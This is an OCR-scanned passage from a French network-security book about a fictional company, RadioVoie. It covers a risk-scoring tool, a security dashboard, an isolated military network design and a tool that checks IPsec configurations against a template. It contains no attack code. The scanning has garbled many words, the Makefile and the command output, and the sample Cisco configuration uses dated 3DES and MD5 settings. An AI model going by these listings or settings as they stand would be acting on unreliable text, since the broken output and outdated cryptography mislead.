Si la tierce partie reussit a compromettre le boitier IPsec ou a passer outre les nitres 
reseau au sein du tunnel IPsec, elle peut attaquer le pare-feu, la solution d'acces distant 
par modem ou le boitier IPsec arm de les compromettre ou de les outrepasser. 

Un attaquant qui aurait reussi a obtenir des donnees d'authentification valides pour la 
solution d'acces distant par modem et qui serait place sur le reseau telephonique entre les 
modems et le commutateur telephonique public pourrait atteindre le reseau DMZ RAS 
en trompant la solution d'acces distant par modem, qui croirait etre en contact avec le 
modem du numero de rappel telephonique. 

Tableau de bord de securite 

Cette section detaille les elements de verification fondes sur les outils maison et decrit un 
exemple de tableau de bord de la securite reseau. 

Les controles de securite 

Outre les controles deja assures par la solution Internet (traces et audits reguliers des 
equipements), les traces du boitier IPsec et de la solution d'acces distant par modem sont 
recuperees et analysees. 

Les traces du serveur frontal peuvent etre egalement collectees et analysees pour deceler 
des tentatives de manipulation des donnees hebergees. 

Mise en oeuvre des outils maison 

Un de nos objectifs majeurs est de proteger le reseau interne (reseau situe derriere le 
pare-feu), ainsi que les systemes appartenant au reseau externe (routeur, pare-feu, serveur 
de messagerie entrant, etc.). II est aussi primordial de determiner un niveau de risque 
pour le reseau, correspondant aux vulnerabilites de securite detectees. Rappelons qu'il 
s'agit de determiner le risque pris si ces vulnerabilites de securite ne sont pas corrigees. 

Nous utilisons notre outil BAYES afin de connaitre le niveau de risque du reseau interne 
et externe. La modelisation pour notre calcul de risque est la suivante. Pour chaque objet, 
trois tests sont possibles, pouvant referencer une ou plusieurs vulnerabilites. De plus, il y 
a six impacts possibles, comme le montrent les tableaux 16.5 et 16.6. 
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Tableau 16.5 Repartition des tests et des impacts pour le reseau externe 



Objet 


Test 


Impact 


Routeur 


1 


1 (impact faible) 




2 


2 (impact moyen) 




3 


3 (impact fort) 


Parejeu 


4 


1 (impact faible) 




5 


2 (impact moyen) 




6 


3 (impact fort) 


Boitierjpsec 


7 


1 (impact faible) 




8 


2 (impact moyen) 




9 


3 (impact fort) 


Serveur_mail_entrant 


10 


1 (impact faible) 




11 


2 (impact moyen) 




12 


3 (impact fort) 



Tableau 16.6 Repartition des tests et des impacts pour le reseau interne 



Objet 


Test 


Impact 


Reseaujnterne 


13 


4 (impact faible) 




14 


5 (impact moyen) 




15 


6 (impact fort) 



Dans ce modele, si nous tenons compte de la topologie reseau et si nous considerons que les 
attaques viennent uniquement de l'exterieur, les regies de propagation sont les suivantes : 

margot/16.3$ cat dmz.rule 

routeur routeur 12 3 # regies de propagation a la racine 

parefeu parefeu 4 5 6 

boitier_ipsec boitier_ipsec 7 8 9 

serveur_mail_entrant serveur_mail_entrant 10 11 12 

1 routeur routeur 1 # regies de propagation hors racine 

2 routeur routeur 2 

3 routeur routeur 3 
3 routeur parefeu 4 5 6 
3 routeur boitier_ipsec 7 8 9 

3 routeur serveur_mail_entrant 10 11 12 

4 parefeu parefeu 4 

5 parefeu parefeu 5 

6 parefeu parefeu 6 

7 boitier_ipsec boitier_ipsec 7 

8 boitier_ipsec boitier_ipsec 8 

9 boitier_ipsec boitier_ipsec 9 
6 parefeu reseau_interne 13 14 15 
6 parefeu boitier_ipsec 7 8 9 
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6 parefeu serveur_mail_entrant 10 11 12 
6 parefeu routeur 12 3 

10 serveur_mail_entrant serveur_mail_entrant 10 

11 serveur_mail_entrant serveur_mail_entrant 11 

12 serveur_mail_entrant serveur_mail_entrant 12 
12 serveur_mail_entrant parefeu 4 5 6 

12 serveur_mail_entrant boitier_ipsec 7 8 9 

13 reseau_interne reseau_interne 13 

14 reseau_interne reseau_interne 14 

15 reseau_interne reseau_interne 15 

Si nous prenons en compte les fichiers de consequences et de probabilities suivants 

margot/16.3$ cat dmz.cons 



10 
25 
50 
10 
25 
50 



/* impact faible : reseau externe */ 
/* impact moyen : reseau externe */ 
impact fort : reseau externe */ 

reseau interne */ 
reseau interne */ 



/* 
/* 
/* 
/* 



impact faible 
impact moyen 



impact fort : reseau interne */ 



margot/16.3$ cat dmz.proba 
0.1 /* pas d'impact */ 
/* impact faible 
mpact moyen 
mpact fort : 
mpact faible 
mpact moyen 
impact fort : 



0.3 
0.3 
0.8 
0.3 
0.3 
0.8 



/* 
/* 
/* 
/* 
/* 



: reseau externe */ 
reseau externe */ 
reseau externe */ 
: reseau interne */ 
: reseau interne */ 
reseau interne */ 



nous pouvons executer le programme BAYES pour chacun des fichiers de vulnerabilites 
detectes par les controles internes et externes. 

Le Ma kef i 1 e suivant permet de lancer une simulation composee de six fichiers en consi- 
derant les memes parametres de regies, consequences et probabilites : 

margot/16.3$ cat Makefile 
PGM=bayes 

dmz: 



norma" 


ise dmz. rule dmz.proba dmz.txt < 


Jmz.< 


:ons 


$(PGM 


) dmz.txt. ref.dat[1234] 100 






norma" 


ise dmz. rule dmz.proba dmz.txtl 


dmz 


.cons 


$(PGM 


) dmz.txtl.ref.dat[1234] 100 






norma" 


ise dmz. rule dmz.proba dmz.txt2 


dmz 


.cons 


$(PGM 


) dmz.txt2.ref.dat[1234] 100 






norma" 


ise dmz. rule dmz.proba dmz.txt3 


dmz 


.cons 


$(PGM 


) dmz.txt3.ref.dat[1234] 100 






norma" 


ise dmz. rule dmz.proba dmz.txt4 


dmz 


.cons 


$(PGM 


) dmz.txt4.ref.dat[1234] 100 






norma" 


ise dmz. rule dmz.proba dmz.txt5 


dmz 


.cons 


$(PGM 


) dmz.txt5.ref.dat[1234] 100 
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Nous executons le programme BAYES sur les differents fichiers contenant les vulnerabi- 
lites de securite : 

margot/16.3$ make dmz 

normalise dmz. rule dmz.proba dmz.txt dmz. cons 

bayes dmz.txt. ref.dat[1234] 100 



nb_tests = 16 
nb_impacts = 7 
nb_probabil ites (impacts) = 
8.000000e-01 3.000000e-01 
nb_consequences (impacts) = 
1.000000e+01 2.500000e+01 

(x 1) impact 

6 (x 1) impact 3 

13 (x 1) impact 4 

14 (x 3) impact 5 

15 (x 2) impact 6 



1.000000e-01 3.000000e-01 

3.000000e-01 8.000000e-01 

1.000000e+01 2.500000e+01 
5.000000e+01 



3.000000e-01 
5.000000e+01 



distribution des probabi lites (impacts): 
0.000000e+00 7.200000e-01 4.500000e-03 
risque : 3.802650e+01 
elements parcourus : 8.000000e+00 
profondeur : 4 



2.226400e-01 0.000000e+00 
2.646000e-02 2.640000e-02 1.000000e+00 



normalise dmz. rule dmz.proba dmz.txtl dmz. cons 
bayes dmz.txtl.ref .dat[1234] 100 



nb_tests = 16 
nb_impacts = 7 
nb_probabi lites (impacts) = 
8.000000e-01 3.000000e-01 
nb_consequences (impacts) = 
1.000000e+01 2.500000e+01 

(x 1) impact 

4 (x 1) impact 3 

7 (x 1) impact 1 

8 (x 1) impact 2 

13 (x 1) impact 4 

14 (x 3) impact 5 

15 (x 2) impact 6 



1.000000e-01 3.000000e-01 

3.000000e-01 8.000000e-01 

1.000000e+01 2.500000e+01 
5.000000e+01 



3.000000e-01 
5.000000e+01 



distribution des probability (impacts): 5.800000e-01 9.000000e-02 

9.000000e-02 2.400000e-01 0.000000e+00 0.000000e+00 0.000000e+00 1.000000e-00 

risque : 1.515000e+01 

elements parcourus : 4.000000e+00 

profondeur : 1 



normalise dmz. rule dmz.proba dmz.txt2 dmz. cons 
bayes dmz.txt2.ref .dat[1234] 100 
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nb_tests = 16 
nb_impacts = 7 
nb_probabil ites (impacts) = 
8.000000e-01 3.000000e-01 
nb_consequences (impacts) = 
1.000000e+01 2.500000e+01 
(x 1) impact 
10 (x 5) impact 1 

13 (x 1) impact 4 

14 (x 3) impact 5 

15 (x 2) impact 6 



1.000000e-01 3.000000e-01 3.000000e-01 

3.000000e-01 8.000000e-01 

1.000000e+01 2.500000e+01 5.000000e+01 
5.000000e+01 



distribution des probabilites (impacts): 3.774880e-01 6.225120e-01 

0.000000e+00 0.000000e+00 0.000000e+00 0.000000e+00 0.000000e+00 1.000000e+00 

risque : 6.225120e+00 

elements parcourus : 6. 000000e+00 

profondeur : 5 



normalise dmz.rule dmz.proba dmz.txt3 dmz.cons 
bayes dmz.txt3.ref .dat[1234] 100 



nb_tests = 14 
nb_impacts = 7 
nb_probabil ites (impacts) = 
8.000000e-01 3.000000e-01 
nb_consequences (impacts) = 
1.000000e+01 2.500000e+01 
(x 1) impact 

6 (x 5) impact 3 

7 (x 1) impact 1 
13 (x 8) impact 4 



1.000000e-01 3.000000e-01 3.000000e-01 

3.000000e-01 8.000000e-01 

1.000000e+01 2.500000e+01 5.000000e+01 
5.000000e+01 



distribution des probabilites (impacts): 2.990784e-01 4.679007e-02 

0.000000e+00 6.189316e-01 3.520001e-02 0.000000e+00 0.000000e+00 1.000000e+00 

risque : 3.176648e+01 

elements parcourus : 5.200000e+01 

profondeur : 13 



normalise dmz.rule dmz.proba dmz.txt4 dmz.cons 
bayes dmz.txt4.ref .dat[1234] 100 



nb_tests = 16 
nb_impacts = 7 
nb_probabil ites (impacts) = 
8.000000e-01 3.000000e-01 
nb_consequences (impacts) = 
1.000000e+01 2.500000e+01 

(x 1) impact 0: 

6 (x 1) impact 3: 



1.000000e-01 3.000000e-01 3.000000e-01 

3.000000e-01 8.000000e-01 

1.000000e+01 2.500000e+01 5.000000e+01 
5.000000e+01 
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13 (x 1) impact 4 

14 (x 3) impact 5 

15 (x 2) impact 6 



distribution des probability (impacts): 2.226400e-01 0.000000e+00 

0.000000e+00 7.200000e-01 4.500000e-03 2.646000e-02 2.640000e-02 1.000000e+00 

risque : 3.802650e+01 

elements parcourus : 8. 000000e+00 

profondeur : 4 



normalise dmz.rule dmz.proba dmz.txt5 dmz.cons 
bayes dmz.txt5.ref .dat[1234] 100 



nb_tests = 16 
nb_impacts = 7 
nb_probabil ites (impacts) = 
8.000000e-01 3.000000e-01 
nb_consequences (impacts) = 
1.000000e+01 2.500000e+01 

(x 1) impact 

1 (x 7) impact 1 

2 (x 7) impact 2 

14 (x 1) impact 5 

15 (x 2) impact 6 



1.000000e-01 3.000000e-01 

3.000000e-01 8.000000e-01 

1.000000e+01 2.500000e+01 
5.000000e+01 



3.000000e-01 
5.000000e+01 



distribution des probability (impacts): 3.438957e-01 3.280522e-01 

3.280522e-01 0.000000e+00 0.000000e+00 0.000000e+00 0.000000e+00 1.000000e+00 

risque : 1.148183e+01 

elements parcourus : 1.500000e+01 

profondeur : 7 



Exemple de tableau de bord de securite reseau 

Le tableau 16.7 recapitule les elements de 1' architecture reseau qui permettent d'etablir 
un tableau de bord de securite pour 1' extension du reseau RadioVoie. 

Tableau 16.7 Exemples de donnees permettant de construire un tableau de bord 



Sous-reseau Categorie 

Intranet Configuration 

Evenement reseau 



Balayage reseau 
Configuration 
Evenement reseau 

Balayage reseau 



Recherche 



Element 

Des commutateurs (verification VLAN, analyse des configurations des VLAN, etc.) et 
des routeurs (verification ACL, etc.) 

Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.) et des routeurs (violation ACL, etc.) 

Sur les commutateurs, routeurs, LAN et systemes connectes 

Du commutateur (verification VLAN, analyse des configurations des VLAN, etc.) 

Du commutateur (acces non autorises, acces autorises mais de sources 
imprevues, etc.) 

Sur le commutateur, le LAN et les systemes connectes 
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Tableau 16.7 Exemples de donnees permettant de construire un tableau de bord (suite) 



Intersite 



Configuration 



Internet 



Tierce partie 



Evenement reseau 



Balayage reseau 
Configuration 



Evenement reseau 



Balayage reseau 



Configuration 



Evenement reseau 



Balayage reseau 



Administration Configuration 



Evenement reseau 



Balayage reseau 



Des commutateurs (verification VLAN, analyse des configurations des VLAN, etc.), 
routeurs (verification ACL, etc.), boitiers IPsec (verification des regies, etc.) et pare- 
feu (verification des regies, etc.) 

Des commutateurs (acces non autorises, etc.), routeurs (violation ACL, etc.), boitiers 
IPsec (sessions echouees, sessions intranet, etc.) et pare-feu (sessions echouees, 
sessions intranet, etc.) 

Sur les commutateurs, routeurs, boitiers IPsec, pare-feu, LAN (DMZ entrante, DMZ 
Interco) et les systemes connectes 

Des commutateur (verification VLAN, analyse des configurations des VLAN, etc.), 
routeur (verification ACL, etc.), boitier IPsec (verification des regies, etc.) et pare-feu 
(verification des regies, etc.) 

Des commutateur (acces non autorises, etc.), routeur (violation ACL, etc.), boitier 
IPsec (sessions echouees, sessions Internet, etc.) et pare-feu (sessions echouees, 
sessions Internet, etc.) 

Sur les commutateur, routeur, boitier IPsec, pare-feu, LAN (DMZ entrante, DMZ sor- 
tante) et systemes connectes 

Des commutateur (verification VLAN, analyse des configurations des VLAN, etc.), 
modems (verification des controles d'acces, etc.), boitier IPsec (sessions 
echouees, etc.), serveurs dedies (verification des services ouverts, verification de 
I'integrite des fichiers sensibles, etc.) et pare-feu (verification des regies, etc.) 

Des commutateur (acces non autorises, etc.), modems (routeurs acces non 
autorises, etc.), boitier IPsec (sessions echouees, etc.), pare-feu (violation des 
regies, etc.) et serveurs dedies RAS (sessions echouees, etc.) 

Sur les commutateur, modems, boitier IPsec, pare-feu, LAN (DMZ entrante, DMZ 
RAS) et systemes connectes 

Des commutateurs (verification VLAN, analyse des configurations des VLAN, etc.) et 
routeurs (verification ACL, etc.) 

Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.), routeurs (violation ACL, etc.) 

Sur les commutateurs, LAN et systemes connectes 



Le tableau de bord de securite peut etre constitue de nombreuses courbes suivant les 
domaines concernes. 

Par exemple, si nous calculons tous les scenarios d'evenements possibles par le biais 
d'un arbre probabiliste (fonde sur les faiblesses de securite prealablement detectees), il 
est possible de determiner les probabilites associees pour chaque niveau d' impact, 
comme l'illustre la figure 16.18. 

Une fois calculees les probabilites des impacts reseau, il suffit de quantifier les conse- 
quences associees a ces impacts pour calculer le risque associe a la non-application de la 
politique de securite. Le risque est alors calcule comme une esperance mathematique en 
multipliant les probabilites par les consequences associees aux impacts reseau, comme 
l'illustre la figure 16.19. 



488 



Tableaux de bord de la securite reseau 



Figure 16.18 

Distribution des 
probabilites des impacts 
reseau pour les trois 
derniers mois 
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Figure 16.19 

Evolution du risque dans le 
temps 
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En resume 



Le reseau de Radio Voie ainsi que les regies de securite ont evolue dans le temps avec les 
besoins de l'entreprise. Ces evolutions montrent que la politique de securite reseau et les 
solutions techniques doivent etre remises en cause afln de s' adapter a chaque nouvelle 
contrainte. 

Les solutions et architectures mises en ceuvre integrent des equipements de securite tels 
que des pare-feu, des boitiers de chiffrement, etc. Nous avons detaille pour chaque solu- 
tion proposee les risques couverts et les risques restants. 

Des controles de securite ont ete egalement proposes afln de valider les points critiques 
de chaque solution technique. De maniere plus generale, ces controles doivent etre 
simples et facilement automatisables. 

Le chapitre suivant detaille revolution du reseau de Radio Voie vers une structure de type 
multinationale. 
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Ce dernier chapitre couvre la prise en compte d'une extension classifiee Secret Defense, 
ainsi que l'extension du reseau RadioVoie a 1' international. 

Pour chaque evolution du reseau de RadioVoie, nous detaillons 1' analyse des besoins, la 
definition de la politique de securite, les solutions techniques et les controles de securite, 
les risques couverts et non couverts par la solution technique proposee, ainsi que 
l'etablissement d'un tableau de bord de securite. 



RadioVoie negocie un contrat militaire 

L'entreprise a convaincu le ministere de la Defense que son emetteur-recepteur pouvait, 
par des modifications mineures, offrir a l'armee une meilleure efflcacite sur le terrain, 
grace des connexions permanentes entre chaque soldat et le commandement. 

Ce marche strategique pour le developpement de l'entreprise a pu etre obtenu parce que 
RadioVoie a accepte les contraintes draconiennes de l'armee. Ces contraintes exigent que 
RadioVoie fabrique elle-meme ses produits, au lieu de les sous-traiter. L'entreprise choi- 
sit done d'installer une unite de production ainsi qu'une equipe de recherche et develop- 
pement sur son site de Mouans-Sartoux, deja utilise par le personnel administratif. 

Une equipe de specialistes militaires en securite des communications (chiffrement) est 
hebergee chez RadioVoie. Cette equipe a pour mission d'effectuer la recherche et deve- 
loppement de l'unite qui assure le chiffrement des donnees. Souveraine sur son perime- 
tre, e'est elle qui decide qui peut acceder a ses locaux. 
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Besoins a satisfaire 

Les besoins a satisfaire sont les suivants : 

• Fournir un local repondant aux specifications des militaires concernant la production. 

• Fournir un local repondant aux specifications des militaires pour l'hebergement de son 
equipe de specialistes. 

• Fournir un local pour 1' equipe de recherche et developpement de Radio Voie et 
s'assurer que les reseaux au sein des unites de recherche de Radio Voie communiquent 
via des flux chiffres. 

• S'assurer que le reseau recherche et developpement de Mouans-Sartoux accede aux 
autres reseaux de Radio Voie et a Internet via le site de Paris. 

• Pre voir un emplacement reseau pour le serveur d'authentiflcation des controles 
d'acces physiques aux locaux classes Secret Defense. Les labels sont CD (Confldentiel 
Defense), SD (Secret Defense), et TSD (Top Secret Defense). 

Etude de risques 

Les contraintes physiques appliquees aux locaux classes Secret Defense ont ete fournies 
par l'armee. Cette derniere a effectue des audits de securite et prevu d'auditer reguliere- 
ment par la suite arm de valider 1' application de ces contraintes. 

Les risques lies aux contraintes physiques (epaisseur des murs, resistance des portes, 
protection incendie, etc.) etant hors du propos de cet ouvrage, ils ne sont pas detailles a 
une exception pres : le serveur d'authentiflcation pour l'acces aux locaux, lequel ne peut 
etre unique et situe physiquement au sein du local dont il est charge de proteger l'acces. 
En cas de refus de service de ce serveur, les locaux deviendraient en effet inaccessibles. 

L' unite de production doit etre isolee physiquement de tout autre reseau. Si le batiment 
dispose d'une infrastructure physique globale, il existe un risque que des connexions 
physiques soient etablies ulterieurement, au niveau des armoires de brassage, par exem- 
ple. On peut aussi considerer un piratage physique des connexions si elles sont accessi- 
bles depuis l'exterieur de l'unite de production ou du local des specialistes. Cela vaut 
egalement pour le controle d'acces au local des specialistes. 

Les machines utilisees par les specialistes militaires devant etre hors de portee de l'entre- 
prise, il n'est pas facile de s'assurer que ces machines respectent les standards, alors 
meme qu'elles ont la possibilite d'acceder aux autres reseaux de l'entreprise puisque la 
solution protegeant leur reseau est sous leur controle. 

En cas de deni de service du lien entre les sites de Paris et Mouans-Sartoux, le lien entre 
les unites de recherche de Radio Voie deviendrait egalement hors service. 

Politique de securite reseau 

La politique de securite de l'armee edicte les regies suivantes : 
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• « La fabrication des produits est realisee dans une unite de production specifique 
classee Secret Defense. » 

• « Le reseau de V unite de production est isole physiquement de tout autre reseau. » 

• « Tout reseau au sein d'un local classe Secret Defense ou lui-meme classe comme tel 
est isole logiquement de tout autre reseau. » 

• « Le controle d'acces a tout reseau au sein d'un local classe Secret Defense ou lui- 
meme classe comme tel est sous I 'autorite militaire. » 

• « Le controle d'acces physique a tout local classe Secret Defense est sous V autorite 
militaire. » 

• « Un local classe Secret Defense est mis a disposition de I'equipe de militaires specia- 
listes en communication. Ce local nepeut etre situe au sein de I' unite de production. » 

RadioVoie ajoute par ailleurs des contraintes a sa politique existante : 

• « Les communications reseau entre les unites de recherche sont chiffrees. » 

• « Le reseau recherche et developpement de Mouans-Sartoux accede aux reseaux de 
RadioVoie par V interconnexion du reseau recherche et developpement de Paris. » 

Solution de securite 

La satisfaction des besoins d' interconnexion des unites de recherche est simple a satis- 
faire. II suffit de creer un reseau virtuel au-dessus du reseau bureautique (tunnel IPsec 
dans le tunnel IPsec utilise pour les communications entre sites). Cela donne 1' architec- 
ture illustree a la figure 17.1. 

Les flux permettant d'atteindre un quelconque reseau depuis le reseau recherche et deve- 
loppement de Mouans-Sartoux sont routes via le boitier IPsec qui les chiffre. 

Si le flux n'est pas pour le reseau recherche et developpement de Mouans-Sartoux, il 
passe par le boitier IPsec de Mouans-Sartoux (si le flux est autorise) pour etre chiffre. II 
traverse ensuite le reseau bureautique, rejoint Paris par 1' interconnexion intersite, 
traverse le pare- feu du reseau recherche et developpement de Paris et entre dans le boitier 
IPsec de ce dernier, ou il est dechiffre. 

Si les flux sont destines au reseau recherche et developpement de Paris, le trafic s'arrete 
la. S'ils sont destines au reseau bureautique, a Internet ou au reseau de recherche et deve- 
loppement militaire, ils passent par le pare-feu de recherche et developpement de Paris 
(cette fois en clair) pour aller vers leur destination. La politique de filtrage du pare-feu 
Internet decide si le trafic peut atteindre Internet. 

Nous avons done un tunnel pour 1' interconnexion entre les unites de recherche et deve- 
loppement au sein du tunnel d' interconnexion entre les sites, comme illustre a la 
figure 17.2. 

L' unite de production doit satisfaire les contraintes militaires de securite physique. Pour 
la partie reseau, RadioVoie se contente de s' assurer que la connectivite physique du 
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Figure 17.1 

Architecture securisee d' interconnexion entre les sites de RadioVoie 



Figure 17.2 

Les differents niveaux de 
tunnel 
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reseau de production est bien localisee au sein des locaux, et done inaccessible de l'exte- 
rieur, et qu'elle depend d'une armoire de brassage dediee, egalement situee au sein du 
local de production. Ces memes contraintes s'appliquent au local de recherche et deve- 
loppement reserve aux specialistes militaires. 
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L' architecture physique illustree a la figure 17.3 est proposee aux militaires pour pre venu- 
le risque de penetration physique des locaux de production ou du local de recherche et 
developpement militaire. C'est l'autorite militaire qui est responsable du controle des 
systemes d'acces. 



Local de I 'unite de production 



Reseau de production 



Serveur AAA de secours 





Commutateur 



Reseau d'authentification physique 




Entree local unite 
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production de secours 



Reseau R&D militaire 




Commutateur 



Local reserve a la R &D militaire 



Figure 17.3 

Securisation physique du site de Mouans-Sartoux 



Les equipements reseau tels que les armoires de brassage et les commutateurs sont sepa- 
res et enfermes dans une piece securisee au sein de 1' unite de production. 

Au commutateur du reseau de production est raccorde un reseau d'authentification, qui 
connecte les serveurs d'authentification, de controle d'acces et de surveillance. Le commu- 
tateur implemente le controle d'acces au niveau MAC sur le VLAN d'authentification. 

Afin de limiter le risque de ne pouvoir entrer dans 1' unite de production en cas de panne 
d'un serveur, ce sont deux serveurs d'authentification qui sont installes, dont l'un est un 
serveur de secours repliquant les donnees depuis le primaire. Ces serveurs sont situes 
dans les deux locaux dont l'acces est sous le controle des militaires. II existe une entree 
de secours entre le local de recherche et developpement militaire et 1' unite de production 
en cas d'ultime besoin. 

A 1' analyse de cette architecture, nous constatons que l'acces est bien sous le controle 
des militaires dans les deux cas. De plus, le reseau d'authentification est independant du 
reseau de production afin de limiter les risques d'attaque vers les equipements de 
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controle et de surveillance des acces. Enfln, le reseau de recherche et developpement 
militaire reste un reseau independant (jusqu'a son commutateur) et ne peut etre utilise 
pour atteindre le reseau de production. 

La connexion du reseau de recherche et developpement militaire sur le site de Mouans- 
Sartoux est des plus simple, comme l'illustre la figure 17.4. 



Figure 17.4 
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Un pare-feu situe physiquement au sein du local de recherche et developpement des mili- 
taires et sous son controle isole logiquement le reseau militaire du reste de l'entreprise. 
Ce pare-feu est relie au commutateur de recherche et developpement militaire, d'une 
part, et a celui de l'entreprise, d' autre part, limitant ainsi les risques associes aux attaques 
de commutateur. 



Risques reseau couverts 

RadioVoie s'est assure de l'isolation physique des reseaux classes Secret Defense. Le 
risque de detournement des liens physiques tend done vers zero. 



RadioVoie etend son reseau 
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Le controle d'acces physique est realise en deux endroits distincts disposant d'acces 
differents. Le risque de ne pouvoir acceder aux locaux suite a un refus de service des 
serveurs d'authentiflcation d'acces est done minimal. 

Tous les equipements en charge de l'authentification d'acces etant isoles logiquement, le 
risque de piratage par le reseau est minimal. 

Le reseau de recherche et developpement militaire etant logiquement isole des autres reseaux 
et la solution d' isolation sous le controle militaire, le risque de penetration est minimal. 

Les reseaux de recherche et developpement de RadioVoie s'echangent bien des informa- 
tions de maniere chiffree via IPsec, et il existe un goulet d'etranglement pour les echan- 
ges non chiffres entre le reseau global de recherche et developpement de Paris et les 
autres reseaux. 



Risques reseau non couverts 

Hormis les risques associes a une intrusion physique permettant de compromettre un 
equipement reseau, sujet que nous ne traitons pas dans le contexte de cet ouvrage, 
plusieurs risques demeurent. 

La perte du commutateur de l'unite de production peut engendrer un refus de service 
global et une impossibilite d' acceder aux locaux par les moyens normaux. Ce risque peut 
etre pallie en doublant le VLAN d'authentiflcation et en reliant les cceurs des commuta- 
teurs entre eux (backpane). 

Dans ce cas, il est necessaire que chaque equipement associe a l'authentification d'acces 
soit connecte a chacun des VLAN d'authentiflcation, comme illustre a la figure 17.5. 
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Figure 17.5 

Architecture de haute disponibilite des serveurs AAA 



Un autre risque est la possibility d' acceder au commutateur par le biais de son interface 
d' administration a distance. Cette interface n' existe que sur le VLAN d'authentiflcation. 



496 



Tableaux de bord de la securite reseau 



Compte tenu de l'isolation du reseau d' administration, il n'y a pas de tra^abilite des flux 
reseau sur ce VLAN. Si un equipement vient a etre compromis, il peut etre impossible de 
determiner la source de l'intrusion. Bien sur, il est possible de placer un equipement 
reseau pour, par exemple, collecter les traces et les stocker, telle une sonde d' intrusion, 
par exemple. 

Tableau de bord de securite 

Cette section detaille les principaux controles de securite a mettre en place et fournit des 
elements de verification fondes sur nos outils maison, ainsi qu'un exemple de tableau de 
bord de la securite reseau. 

Les controles de securite 

Le controle de securite le plus delicat se situe au niveau des systemes du reseau de 
recherche et developpement militaire. Techniquement, ce reseau est une menace pour 
l'entreprise puisqu'il echappe a son controle. 

Les militaires peuvent installer des modems entrants, faire entrer des virus, etc., sur le 
reseau bureautique. II faut des lors s'appuyer sur une politique de controle acceptee par 
les militaires. Une telle politique peut pre voir des controles de securite effectues par 
Radio Voie sous la tutelle de l'autorite militaire du site ainsi que 1' engagement des mili- 
taires de respecter les standards de l'entreprise en matiere de protection antivirus et 
d'acces a Internet. 

Si necessaire, Radio Voie peut placer en frontal du pare-feu de recherche et developpe- 
ment militaire un pare-feu verifiant les flux sortants du pare-feu militaire. 

Comme pour tous les commutateurs, la configuration doit etre regulierement verifiee afin 
de s'assurer qu'elle respecte le standard. 

Les traces collectees par tous les equipements (controles d'acces, serveurs d'authentifi- 
cation, commutateur, pare-feu, etc.) sont analysees de maniere humaine ou automatisee 
afin de detecter les comportements deviants. 

Sous l'autorite des militaires, des audits reguliers peuvent etre effectues sur les equipe- 
ments de controle d'acces et les pare-feu afin de s'assurer de l'application de la politique 
de securite. 

Mise en oeuvre des outils maison 

Cette section decrit la mise en oeuvre de nos outils maison afin de repondre aux besoins 
de securite de Radio Voie. Elle detaille dans ce contexte la verification des configurations 
des VPN IPsec et la verification des perimetres reseau correspondants. 

Analyse des configurations 

Les configurations IPsec doivent etre analysees afin de detecter toute mauvaise configu- 
ration a l'aide du patron de securite. 
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Les elements de configuration necessaires pour assurer un niveau de securite minimal 
sont donnes dans l'exemple de configuration Cisco suivant : 

hostname conf_test 
i 

• 

# cles d'authentifi cation 

crypto isakmp key 4cewao6wcbw83 address 192.168.1.154 

crypto isakmp key pvntl2o9xsra5 address 192.165.1.154 
i 

• 

# politique de gestion de cles 
crypto isakmp policy 10 

encr 3des 

hash md5 

authentication pre-share 

group 2 

i 

• 

# politique de chiffrement 

crypto ipsec transform-set chiff_auth esp-3des esp-md5-hmac 
i 

• 

# definition des sessions IPsec 
crypto map IPsec_l_l 10 ipsec-isakmp 

set peer 192.168.1.154 

set transform-set chiff_auth 

match address 110 

i 

• 

crypto map IPsec_2_l 10 ipsec-isakmp 
set peer 192.165.1.154 
set transform-set chiff_auth 

match address 120 

i 

• 

# application des sessions IPsec 
interface FastEthernetO 

ip address 192.168.1.1 255.255.255.0 

crypto map IPsec_l_l 

i 

• 

interface FastEthernetl 
ip address 192.165.1.1 255.255.255.0 

crypto map IPsec_2_l 

i 

• 

# filtrage associe aux sessions IPsec 

access-list 110 permit ip 10.0.1.0 0.0.0.255 10.0.2.0 0.0.0.255 

access-list 120 permit ip 10.0.3.0 0.0.0.255 10.0.4.0 0.0.0.255 
i 

• 

end 

La justification des elements de configuration est fournie a la partie IV de l'ouvrage, rela- 
tive a la configuration des equipements reseau. 

Pour analyser ces configurations, nous utilisons l'outil HDIFF avec le patron de securite 
suivant : 
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margot/17.1$ cat ipsec.tp 

# template de verification de la configuration IPSEC 

# 



{ 



} 



# enleve les commentaires et autres caracteres non necessaires 
rs* : A [ ]*! 

# verification de la politique de chiffrement 

rx+ :crypto isakmp key [0-9a-z]+ address [0-9]{l,3}(\.[0-9]{1.3}){3} 

# verification de la politique de gestion de cles 
rx+ : crypto isakmp policy [0-9]+ 

{ 

fx : encr 3des 

fx : hash md5 

fx : authentication pre-share 

fx : group 2 

# refuse tout autre element de configuration 
rO : .* 



} 



# verification de la definition des sessions IPsec 
rx+ :crypto map [A-Za-z0-9_]+ [0-9]+ ipsec-isakmp 
{ 



r+ 

r 
r 



set peer [0-9]{1.3}(\.[0-9]{1.3}){3} 
set transform-set [A-Za-z0-9_]+ 
match address [0-9]+ 



# refuse tout autre element de configuration 
rO : .* 



# accepte tout autre element de configuration 



Si nous executons le programme HDIFF sur une configuration qui ne respecte pas le 
patron de securite, nous obtenons les resultats suivants : 

margot/17.1$ hdiff -f ipsec.tp conf3.txt| vhdiff 

IN BLOCK conf3.txt 5: crypto isakmp policy 10 
PATTERN 20 'rcx=0<': .* 
DUPL ERR 6: encr des 

IN BLOCK conf3.txt 5: crypto isakmp policy 10 
PATTERN 20 'rcx=0<': .* 
DUPL ERR 9: group 1 
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IN BLOCK conf3.txt 5: crypto isakmp policy 10 
PATTERN 14 'fcx=K': encr 3des 
COUNTED 

IN BLOCK conf3.txt 5: crypto isakmp policy 10 
PATTERN 17 'fcx=K': group 2 
COUNTED 

IN BLOCK conf3.txt 13: crypto map IPsec_2_l 10 ipsec-isakmp 
PATTERN 27 'rcx=K': set transform-set [A-Za-z0-9_]+ 
COUNTED 

Cet exemple illustre en premiere erreur qu'une politique ISAMKP (ligne 5 de la configu- 
ration) n'est pas conforme au patron de securite parce qu'elle contient une ligne de confi- 
guration de type encr des (ligne 20 du patron). La configuration doit etre mise a niveau 
en precisant encr 3des plutot que encr des . 

De meme, une autre erreur illustre qu'une politique ISAMKP (ligne 5 de la configura- 
tion) n'est pas conforme au patron de securite parce qu'elle ne contient pas la ligne de 
configuration de type group 2 (ligne 17 du patron). La configuration doit etre mise a 
niveau en aj outant group 2 . 

II est ainsi possible avec l'outil HDIFF de controler en profondeur les configurations 
IPsec et de fournir des donnees utiles pour l'etablissement d'un tableau de bord de la 
securite. 

